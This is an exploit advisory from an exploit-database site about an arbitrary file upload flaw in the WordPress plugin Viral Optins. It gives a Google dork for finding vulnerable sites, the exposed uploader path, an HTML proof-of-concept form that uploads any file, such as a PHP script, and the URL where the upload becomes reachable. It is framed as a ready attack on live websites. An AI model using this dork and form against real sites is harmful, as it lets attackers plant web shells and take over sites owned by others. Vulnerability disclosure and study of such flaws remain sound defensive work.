WordPress Plugins Viral Optins - Arbitrary File Upload

Published
Credit
Risk
2017.06.13
x0id
High
CWE
CVE
Local
Remote
N/A
N/A
No
Yes
Dork: inurl:/wp-content/plugins/viral-optins/

# Exploit Title: WordPress Plugins Viral Optins - Arbitrary File Upload
# Exploit Author: x0id
# Date: 13 June 2017
# Tested on: Windows 7

1) Search target with Google Dorking
inurl:/wp-content/plugins/viral-optins/

2) Exploit the websites
https://localhost/wp-content/plugins/viral-optins/api/uploader/file-uploader.php
Vulnerability? Page Blank!

3) Proof of concept (PoC)
<form method="POST" action="https://localhost/wp-content/plugins/viral-optins/api/uploader/file-uploader.php" enctype="multipart/form-data">
<input type="file" name="Filedata" />
<button>Upload!</button><br/>
</form>

4) Result file access.
https://localhost/wp-content/uploads/YYYY/MM/your-file.php

Indonesian h4x0r.


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com